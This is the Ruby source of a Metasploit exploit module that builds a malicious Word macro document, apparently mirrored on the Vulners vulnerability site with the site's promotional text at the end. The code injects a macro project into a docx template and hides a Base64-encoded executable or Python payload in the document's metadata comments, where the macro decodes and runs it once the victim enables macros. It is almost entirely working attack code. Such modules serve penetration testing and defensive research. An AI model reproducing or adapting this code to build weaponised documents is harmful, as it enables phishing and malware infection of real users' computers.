##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Office Word Malicious Macro Execution",
'Description' => %q{
This module injects a malicious macro into a Microsoft Office Word document (docx). The
comments field in the metadata is injected with a Base64 encoded payload, which will be
decoded by the macro and execute as a Windows executable.
For a successful attack, the victim is required to manually enable macro execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r' # Metasploit
],
'References' =>
[
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Targets' =>
[
[
'Microsoft Office Word on Windows',
{
'Platform' => 'win',
}
],
[
'Microsoft Office Word on Mac OS X (Python)',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}
]
],
'Privileged' => false,
'DisclosureDate' => '2012-01-10'
))
register_options([
OptPath.new("CUSTOMTEMPLATE", [true, 'A docx file that will be used as a template to build the exploit', File.join(macro_resource_directory, 'template.docx')]),
OptString.new('FILENAME', [true, 'The Office document macro file (docm)', 'msf.docm'])
])
end
def get_file_in_docx(fname)
i = @docx.find_index { |item| item[:fname] == fname }
unless i
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
end
@docx.fetch(i)[:data]
end
def add_content_type_extension(extension, content_type)
if has_content_type_extension?(extension)
update_content_type("Types//Default[@Extension=\"#{extension}\"]", 'ContentType', content_type)
else
xml = get_file_in_docx('[Content_Types].xml')
types_node = xml.at('Types')
unless types_node
fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
end
child_data = "<Default Extension=\"#{extension}\" ContentType=\"#{content_type}\"/>"
types_node.add_child(child_data)
end
end
def has_content_type_extension?(extension)
xml = get_file_in_docx('[Content_Types].xml')
xml.at("Types//Default[@Extension=\"#{extension}\"]") ? true : false
end
def add_content_type_partname(part_name, content_type)
ctype_xml = get_file_in_docx('[Content_Types].xml')
types_node = ctype_xml.at('Types')
unless types_node
fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
end
child_data = "<Override PartName=\"#{part_name}\" ContentType=\"#{content_type}\"/>"
types_node.add_child(child_data)
end
def update_content_type(pattern, attribute, new_value)
ctype_xml = get_file_in_docx('[Content_Types].xml')
doc_xml_ctype_node = ctype_xml.at(pattern)
if doc_xml_ctype_node
doc_xml_ctype_node.attributes[attribute].value = new_value
end
end
def add_rels_relationship(type, target)
rels_xml = get_file_in_docx('_rels/.rels')
relationships_node = rels_xml.at('Relationships')
unless relationships_node
fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
end
last_index = get_last_relationship_index_from_rels
relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
end
def add_doc_relationship(type, target)
rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
relationships_node = rels_xml.at('Relationships')
unless relationships_node
fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node.')
end
last_index = get_last_relationship_index_from_doc_rels
relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
end
def get_last_relationship_index_from_rels
rels_xml = get_file_in_docx('_rels/.rels')
relationships_node = rels_xml.at('Relationships')
unless relationships_node
fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
end
relationships_node.search('Relationship').collect { |n|
n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
}.max
end
def get_last_relationship_index_from_doc_rels
rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
relationships_node = rels_xml.at('Relationships')
unless relationships_node
fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node')
end
relationships_node.search('Relationship').collect { |n|
n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
}.max
end
def inject_macro
add_content_type_extension('bin', 'application/vnd.ms-office.vbaProject')
add_content_type_partname('/word/vbaData.xml', 'application/vnd.ms-word.vbaData+xml')
pattern = 'Override[@PartName="/word/document.xml"]'
attribute_name = 'ContentType'
scheme = 'application/vnd.ms-word.document.macroEnabled.main+xml'
update_content_type(pattern, attribute_name, scheme)
scheme = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject'
fname = 'vbaProject.bin'
add_doc_relationship(scheme, fname)
@docx << { fname: 'word/vbaData.xml', data: get_vbadata_xml }
@docx << { fname: 'word/_rels/vbaProject.bin.rels', data: get_vbaproject_bin_rels}
@docx << { fname: 'word/vbaProject.bin', data: get_vbaproject_bin}
end
def get_vbadata_xml
File.read(File.join(macro_resource_directory, 'vbaData.xml'))
end
def get_vbaproject_bin_rels
File.binread(File.join(macro_resource_directory, 'vbaProject.bin.rels'))
end
def get_vbaproject_bin
File.binread(File.join(macro_resource_directory, 'vbaProject.bin'))
end
def get_core_xml
File.read(File.join(macro_resource_directory, 'core.xml'))
end
def create_core_xml_file
add_content_type_partname('/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml')
add_rels_relationship('http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties', 'docProps/core.xml')
@docx << { fname: 'docProps/core.xml', data: Nokogiri::XML(get_core_xml) }
end
def inject_payload
p = padding = ' ' * 55
p << Rex::Text.encode_base64(target.name =~ /Python/i ? payload.encoded : generate_payload_exe)
begin
core_xml = get_file_in_docx('docProps/core.xml')
rescue Msf::Exploit::Failed
end
unless core_xml
print_status('Missing docProps/core.xml to inject the payload to. Using the default one.')
create_core_xml_file
core_xml = get_file_in_docx('docProps/core.xml')
end
description_node = core_xml.at('//cp:coreProperties//dc:description')
description_node.content = p
end
def unpack_docx(template_path)
doc = []
Zip::File.open(template_path) do |entries|
entries.each do |entry|
if entry.name.match(/\.xml|\.rels$/i)
content = Nokogiri::XML(entry.get_input_stream.read)
else
content = entry.get_input_stream.read
end
vprint_status("Parsing item from template: #{entry.name}")
doc << { fname: entry.name, data: content }
end
end
doc
end
def pack_docm
@docx.each do |entry|
if entry[:data].kind_of?(Nokogiri::XML::Document)
entry[:data] = entry[:data].to_s
end
end
Msf::Util::EXE.to_zip(@docx)
end
def macro_resource_directory
@macro_resource_directory ||= File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
end
def get_template_path
datastore['CUSTOMTEMPLATE']
end
def exploit
template_path = get_template_path
unless File.extname(template_path).match(/\.docx$/i)
fail_with(Failure::BadConfig, 'Template is not a docx file.')
end
print_status("Using template: #{template_path}")
@docx = unpack_docx(template_path)
print_status('Injecting payload in document comments')
inject_payload
print_status('Injecting macro and other required files in document')
inject_macro
print_status("Finalizing docm: #{datastore['FILENAME']}")
docm = pack_docm
file_create(docm)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation